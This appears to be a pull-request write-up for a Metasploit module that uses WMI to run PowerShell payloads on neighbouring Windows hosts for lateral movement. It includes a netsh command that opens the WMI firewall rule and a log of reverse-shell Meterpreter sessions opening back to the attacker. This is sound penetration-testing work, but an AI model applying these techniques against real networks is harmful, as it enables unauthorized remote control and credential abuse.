Windows Management Instrumentation Local -> Peers

This module uses WMI to run a powershell payload on peers of the localhost. It is similar to the current_user_psexec module in that it uses the current user identity and runs on an existing session. We can also supply known credentials to the module (thx mimikatz) but no hashes.

WMI uses TCP port 135 and an ephemeral port so access may be granted where 445 is blocked for PSEXEC.

There appears to be a limit of 4096 on the WMI command so I have to split up a meterpreter session. Environment vars appear to be max 1024. I chose not to supply the payload via SMB/80 as this module is probably only useful when 445 is blocked and so a restrictive firewall is likely to be in place. 

As WMIC doesn't return anything to STDOUT we cannot currently check for success/failure of commands. We can redirect to clipboard but railgun cannot access this due to the thread context. Hopefully can persuade @oj to add some clipboard functionality to meterpreter to get around this. 

Configure a client for access : ```netsh advfirewall firewall set rule group="windows management instrumentation (wmi)" new enable=yes```

Have made some small changes to powershell which I was planning to integrate with @sempervictus's PR. This removes the mixture of double and single quotes making it easier to encode for the command line.

```
[*] Started reverse handler on 192.168.1.121:8787 
[*] [192.168.1.11] Storing payload in environment variables
[*] [192.168.1.11] Executing payload
[*] [192.168.1.11] Cleaning up environment variables
[*] [192.168.1.12] Storing payload in environment variables
[*] Sending stage (770048 bytes) to 192.168.1.11
[*] [192.168.1.12] Executing payload
[*] [192.168.1.12] Cleaning up environment variables
[*] Meterpreter session 42 opened (192.168.1.121:8787 -> 192.168.1.11:49199) at 2013-09-20 19:35:12 +0100
[*] [192.168.1.13] Storing payload in environment variables
[*] [192.168.1.13] Executing payload
[*] [192.168.1.13] Cleaning up environment variables
[*] [192.168.1.14] Storing payload in environment variables
[*] [192.168.1.14] Executing payload
[*] [192.168.1.14] Cleaning up environment variables
[*] Sending stage (770048 bytes) to 192.168.1.14
[*] Meterpreter session 43 opened (192.168.1.121:8787 -> 192.168.1.14:49188) at 2013-09-20 19:35:27 +0100
 ```
NB I don't have anything running on 12 & 13